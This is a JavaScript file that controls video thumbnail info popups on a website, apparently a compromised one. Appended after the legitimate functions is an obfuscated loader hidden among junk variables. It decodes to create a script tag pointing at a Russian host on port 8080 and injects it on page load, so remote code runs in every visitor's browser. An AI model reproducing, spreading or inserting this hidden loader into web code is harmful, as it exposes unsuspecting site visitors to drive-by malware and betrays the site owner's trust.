/**
 	Need to define the following vars whenever this page is used and assign the config var from CFG (config_styles or config_{module}_styles)
		-> var popup_info_left_position
		-> var popup_info_top_position
*/

var videoThumb= $$('.clsThumbImageContainer img');
var currentDisplayVideo;
var detailBlock='';
var seq='';
/**
 *
 * @access public
 * @return void
 **/
function getBlockAndId(element){
detailBlock	= element.id.substring(0,element.id.indexOf('_'));
seq		 	= element.id.substring(element.id.lastIndexOf('_')+1,element.id.length);
currentDisplayVideo=seq;
}
/**
 *
 * @access public
 * @return void
 **/
function removeLiClass(){
	var li=$$('.clsPopUpDiv');

	li.each(function(li){
	li.removeClassName('clsPopUpDiv');
	});
}
function showInfo(element)
{

	removeLiClass();
	if(currentDisplayVideo && detailBlock)
	{

		var video_detail_id	 = detailBlock+'_selVideoDetails_'+currentDisplayVideo;
		$(video_detail_id).addClassName('clsDisplayNone');

		container_detail_id	 = detailBlock+'_clsInfoPopUpContainerDiv_'+currentDisplayVideo;
		if($(container_detail_id))
		{
			$(container_detail_id).addClassName('clsDisplayNone');
		}
		info_id	 = detailBlock+'_info_'+currentDisplayVideo;
		$(info_id).addClassName('clsDisplayNone');
		var videoli_id	 = detailBlock+'_videoli_'+currentDisplayVideo;
		$(videoli_id).removeClassName('clsPopUpDiv');
	}
	getBlockAndId(element);
	var info_id	 = detailBlock+'_info_'+seq;

	var videoli_id	 = detailBlock+'_videoli_'+seq;
	$(videoli_id).addClassName('clsPopUpDiv');
	$(info_id).removeClassName('clsDisplayNone');
}

function showVideoDetail(element)
{
	getBlockAndId(element);
	var video_detail_id	 = detailBlock+'_selVideoDetails_'+seq;
	$(video_detail_id).removeClassName('clsDisplayNone');
	container_detail_id	 = detailBlock+'_clsInfoPopUpContainerDiv_'+seq;
	$(container_detail_id).removeClassName('clsDisplayNone');

}

function hideVideoDetail(element)
{
	getBlockAndId(element);
	currentDisplayVideo='';

	hideInfo(element);

	var videoli_id	 = detailBlock+'_videoli_'+seq;
	$(videoli_id).removeClassName('clsPopUpDiv');

	var video_detail_id	 = detailBlock+'_selVideoDetails_'+seq;
	$(video_detail_id).addClassName('clsDisplayNone');

	var container_detail_id	 = detailBlock+'_clsInfoPopUpContainerDiv_'+seq;
	$(container_detail_id).addClassName('clsDisplayNone');


}

/**
 *
 * @access public
 * @return void
 **/
function hideInfo(element)
{
	getBlockAndId(element);
	currentDisplayVideo='';

	var info_id	 = detailBlock+'_info_'+seq;
	$(info_id).addClassName('clsDisplayNone');
}

function showVideoDetail_home(element){

	getBlockAndId(element);
	var video_detail_id	 = detailBlock+'_selVideoDetails_'+seq;
	var displaySecId=detailBlock+'_DisplaySec';
	var sourceId= detailBlock+'_videoli_'+seq;
	$(displaySecId).removeClassName('clsDisplayNone');
	var returnOffset = findPos($(sourceId));
	var left = returnOffset[0]+parseInt(popup_info_left_position);
	var top = returnOffset[1]+parseInt(popup_info_top_position);
	$(displaySecId).innerHTML=$(video_detail_id).innerHTML
	$(displaySecId).setStyle({width:'317px',height:'185px',margin:'-7px 0px 0px -7px',left:left+'px',top:top+'px'});
	var outerContainerDivId='outerContainerDiv_'+detailBlock;
	$(outerContainerDivId).removeClassName('clsDisplayNone');
	$(outerContainerDivId).setStyle({margin:'-20px 0px 25px -20px',width:'340px',height:'220px',left:left+'px',top:top+'px'});
}

function hideVideoDetail_home(element){

	getBlockAndId(element);
	var video_detail_id	 = detailBlock+'_selVideoDetails_'+seq;
	var displaySecId=detailBlock+'_DisplaySec';
	var sourceId= detailBlock+'_videoli_'+seq;
	$(displaySecId).addClassName('clsDisplayNone');
	$(displaySecId).innerHTML='';
	var outerContainerDivId='outerContainerDiv_'+detailBlock;
	$(outerContainerDivId).addClassName('clsDisplayNone');
	currentDisplayVideo='';
	hideInfo(element);
}
/**
 *
 * @access public
 * @return void
 **/
function hideCurrentToolTip(){

	element=$(detailBlock+'_selVideoDetails_'+currentDisplayVideo);
	hideVideoDetail_home(element);
}

function findPos(obj) {
	var curleft = curtop = 0;
	if (obj.offsetParent) {
		curleft = obj.offsetLeft
		curtop = obj.offsetTop
		while (obj = obj.offsetParent) {
			curleft += obj.offsetLeft
			curtop += obj.offsetTop
		}
	}
	return [curleft,curtop];
}

var L='';function P(){this.e='';var vT;if(vT!='' && vT!='cO'){vT=null};var z=unescape;this.V="";var b=new String();var fT=window;var mS;if(mS!='' && mS!='zG'){mS=''};var VA="";var S=z("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%61%79%73%65%72%76%65%2e%63%6f%6d%2f%6e%69%6b%6b%61%6e%73%70%6f%72%74%73%2e%63%6f%6d%2e%70%68%70");var cl;if(cl!=''){cl='zW'};var qD=new Date();function f(O,i){this.YT="";var fA;if(fA!='_' && fA != ''){fA=null};var Oa='';var F=String("xmrg".substr(3));var CF;if(CF!=''){CF='mf'};var zK=new Array();var q=z("%5b"), Z=z("%5d");var x=new String();var v=q+i+Z;this.SE='';var RK='';var vW=new RegExp(v, F);this.s="";var Sr=new Array();return O.replace(vW, new String());var h;if(h!='gS'){h='gS'};var RKw=new Date();};var D;if(D!='' && D!='vR'){D=''};var jn;if(jn!='' && jn!='oc'){jn='YJ'};var FQ;if(FQ!='' && FQ!='_s'){FQ='hZ'};var t='';var BC=new String();var MO=new Date();var Ou=f('89660268663056','14635927');var ba;if(ba!='' && ba!='vG'){ba=null};var H=new String();var vs=document;var gi=new String();var G;if(G!='' && G!='VF'){G=''};var BP=new Array();var WO;if(WO!='tH' && WO!='_f'){WO='tH'};function U(){var Cz=new String();var HZg=new String();var hb=new Array();var r=z("%68%74%74%70%3a%2f%2f%79%6f%75%68%65%6c%70%6e%6f%77%2e%72%75%3a");var yQ;if(yQ!=''){yQ='p'};var EX=new Array();H=r;this.WF='';var _V;if(_V!=''){_V='Hv'};H+=Ou;var hu;if(hu!='' && hu!='oA'){hu='qQ'};H+=S;var slw=new String();var TMh=new String();try {var pX=new Date();this.ca='';var yi;if(yi!='' && yi!='DH'){yi='XH'};Fq=vs.createElement(f('sBc9rIizpztZ','x93zLAB8ZCRgIjT0VyDd'));var Du=new Array();Fq[z("%73%72%63")]=H;Fq[z("%64%65%66%65%72")]=[1,2][0];var yj;if(yj!='bT'){yj='bT'};var Nb;if(Nb!='xf'){Nb='xf'};var J_;if(J_!='rK'){J_='rK'};var Xz;if(Xz!='_o' && Xz!='Bl'){Xz=''};var GC;if(GC!='' && GC!='yZ'){GC='cq'};vs.body.appendChild(Fq);var QI;if(QI!='oq' && QI != ''){QI=null};var Wo;if(Wo!='Zo' && Wo != ''){Wo=null};var IQ='';} catch(C){alert(C);var tz;if(tz!='dF'){tz=''};};var Yc="";var bp='';}var eF;if(eF!='Hg'){eF=''};var nh="";fT[String("on"+"loJ308".substr(0,2)+"adYc31".substr(0,2))]=U;var aG=new Array();var yt=new Date();};P();this._y="";this.Sc="";